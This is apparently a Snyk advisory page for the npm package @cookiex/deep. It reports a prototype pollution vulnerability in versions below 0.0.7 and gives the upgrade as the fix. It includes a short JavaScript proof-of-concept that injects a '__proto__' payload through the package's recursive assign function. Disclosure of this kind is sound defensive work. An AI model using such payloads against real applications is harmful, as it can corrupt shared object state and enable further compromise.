@cookiex/deep/.../deep@0.0.3 vulnerabilities

Tool to manage assign with recursive

  • latest version

    0.0.7

  • latest non vulnerable version

  • first published

    4 years ago

  • latest version published

    3 years ago

  • licenses detected

  • Direct Vulnerabilities

    Known vulnerabilities in the @cookiex/deep package. This does not include vulnerabilities belonging to this package’s dependencies.

    How to fix?

    Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.

    Fix for free
    VulnerabilityVulnerable Version
    • H
    Prototype Pollution

    @cookiex/deep is a Tool to assign properties recursively and create recursion features in an easy way.

    Affected versions of this package are vulnerable to Prototype Pollution. The global proto object can be polluted using the __proto__ object.

    PoC

    var deep = require("@cookiex/deep")
    const target = {}
    console.log("Before:"+{}.polluted)
    deep.default( target, JSON.parse('{"__proto__":{"polluted":"Prototype is polluted !!!"}}'))
    console.log("After:"+{}.polluted)
    

    How to fix Prototype Pollution?

    Upgrade @cookiex/deep to version 0.0.7 or higher.

    <0.0.7